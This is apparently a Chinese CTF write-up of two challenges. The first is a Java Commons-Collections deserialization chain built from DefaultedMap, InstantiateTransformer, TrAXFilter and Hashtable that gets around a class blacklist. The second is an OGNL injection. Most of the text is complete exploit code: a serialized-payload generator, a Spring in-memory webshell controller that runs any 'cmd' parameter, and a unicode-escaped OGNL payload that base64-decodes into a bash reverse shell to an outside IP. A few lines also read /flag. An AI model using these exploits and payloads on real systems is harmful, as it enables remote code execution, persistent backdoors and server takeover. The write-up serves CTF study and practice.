重装了一次电脑这次拖的时间有点久了,在比赛完一天后应该就要写出来的
do you konw cc
DefaultedMap
DefaultedMap在功能上和lazymap差不多吧
在DefaultedMap的get方法中
1 2 3 4 5 6 7
| public Object get(Object key) { if (!this.map.containsKey(key)) { return this.value instanceof Transformer ? ((Transformer)this.value).transform(key) : this.value; } else { return this.map.get(key); } }
|
发现这当value是transformer的实例的时候,会调用value的transform方法,这里的key是传过来的key,条件是this.map没有这个key,来看看构造方法,这里就用一个就行了
1 2 3 4 5 6 7
| public static Map decorate(Map map, Transformer factory) { if (factory == null) { throw new IllegalArgumentException("Transformer must not be null"); } else { return new DefaultedMap(map, factory); } }
|
发现value是我们可控的,所以找到我们能用的transformer就行
重点是怎么调用get方法了
InstantiateTransformer就是transformer的实例化类并且在c3链中有,这里就再回顾一遍它的构造方法有一个是
1 2 3 4
| public InstantiateTransformer(Class[] paramTypes, Object[] args) { this.iParamTypes = paramTypes; this.iArgs = args; }
|
这里para其就是就是args的类型,而arges就是它的实例,看transformer
1 2 3 4 5 6 7 8 9
| public Object transform(Object input) { try { if (!(input instanceof Class)) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this.iParamTypes); return con.newInstance(this.iArgs); } }
|
发现就是实例化input类,这里构造器的种类和实例化参数都是我们可控的,之前c3链用到了TrAXFilter,这个类有个一个构造方法,会调用TransformerImpl的newtransformer从而加载类
分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| private static final String[] blacklist = {"org.apache.commons.collections.functors.ChainedTransformer", "org.apache.commons.collections.functors.InvokerTransformer", "org.apache.commons.collections.map.TransformedMap", "java.lang.annotation", "org.apache.commons.collections.map.LazyMap", "org.apache.commons.collections.keyvalue.TiedMapEntry", "javax.management.", "com.sun.rowset.JdbcRowSetImpl", "org.apache.commons.collections.Transformer", "org.springframework", "com.rometools.rome.feed.impl", "java.net.URL", "java.lang.reflect.Proxy", "com.fasterxml.jackson", "com.sun.jndi", "java.security", "com.sun.org.apache.xpath.internal.objects.XString"};
|
发现lazp,tiedmap都被禁用了,所以用了defaultedmap,chain和invoke也被禁用了,所以能用的就instantiate了
由于环境不出网,所以只有打内存马了,但是这里又是2.6以上的
由于TiedMapEntry被禁用了c3和c6中间链就断了,所以想办法从c7链找办法
hashtable
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| package com.example.do_you_know_cc;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.DefaultedMap;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.net.URLEncoder; import java.util.Base64; import java.util.HashMap; import java.util.Hashtable;
public class exp { public static void main(String[] args) throws Exception { TemplatesImpl impl = new TemplatesImpl(); ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("baicany"); pool.insertClassPath(new ClassClassPath((AbstractTranslet.class))); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] classbyte = cc.toBytecode(); byte[][] code = new byte[][]{classbyte}; setFieldValue(impl, "_name", "baicany"); setFieldValue(impl, "_bytecodes", code); setFieldValue(impl, "_class", null); setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
Hashtable hashtable=new Hashtable(); HashMap map=new HashMap(); HashMap hashmap=new HashMap(); map.put(TrAXFilter.class,"baicany"); hashmap.put("baicany",TrAXFilter.class); InstantiateTransformer transformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{impl}); DefaultedMap demap=(DefaultedMap) DefaultedMap.decorate(hashmap,"fuck"); hashtable.put(map,"baicany"); hashtable.put(demap,"baicany"); Field f = DefaultedMap.class.getDeclaredField("value"); f.setAccessible(true); f.set(demap,transformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(hashtable); oos.close();
ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(in); Object ob = (Object) ois.readObject();
} public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } }
|
成功弹出计算器,现在就是怎么写内存马了
内存马exp
参考:获取RequestMappingInfo
实例化RequestMappingInfo对象的⽅式已被弃⽤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| package com.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.*; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method;
public class EvilController extends AbstractTranslet {
public EvilController() throws Exception{ WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method method = EvilController.class.getMethod("test"); PatternsRequestCondition url = new PatternsRequestCondition("/shell"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config"); configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();
EvilController springBootMemoryShellOfController = new EvilController("aaaaaaa"); mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method); }
public EvilController(String test){
}
public void test() throws Exception{ HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); String command = request.getParameter("cmd"); if(command != null){ try { java.io.PrintWriter printWriter = response.getWriter(); String o = ""; ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command}); }else{ p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); o = c.hasNext() ? c.next(): o; c.close(); printWriter.write(o); printWriter.flush(); printWriter.close(); }catch (Exception ignored){
} } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| package com.example.do_you_know_cc;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.DefaultedMap;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.net.URLEncoder; import java.util.Base64; import java.util.HashMap; import java.util.Hashtable;
public class exp { public static void main(String[] args) throws Exception { TemplatesImpl impl = new TemplatesImpl(); ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get("com.example.EvilController"); byte[] classbyte = cc.toBytecode(); byte[][] code = new byte[][]{classbyte};
setFieldValue(impl, "_name", "baicany"); setFieldValue(impl, "_bytecodes", code); setFieldValue(impl, "_class", null); setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
Hashtable hashtable=new Hashtable(); HashMap map=new HashMap(); HashMap hashmap=new HashMap(); map.put(TrAXFilter.class,"baicany"); hashmap.put("baicany",TrAXFilter.class); InstantiateTransformer transformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{impl}); DefaultedMap demap=(DefaultedMap) DefaultedMap.decorate(hashmap,"fuck"); hashtable.put(map,"baicany"); hashtable.put(demap,"baicany"); Field f = DefaultedMap.class.getDeclaredField("value"); f.setAccessible(true); f.set(demap,transformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(hashtable); oos.close();
System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray())))); } public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); } }
|
就cc7+cc3用没被禁用的工厂类也行
只是先粗略的写一下,后面改进,毕竟我代码写的很垃圾,后面也会分析这条链子改进代码好看一点,之前欠的东西还没补完,先狠狠补一波前面的
pain
pain注入,发现2种解
1
| @java.lang.\u0052untime@g\u0065tRuntime().\u0065xec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwMS40Mi41Mi4xMTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')
|
unicode编码和直接读文件
(#a=new java.util.Scanner(new java.io.File(“/flag”)).next())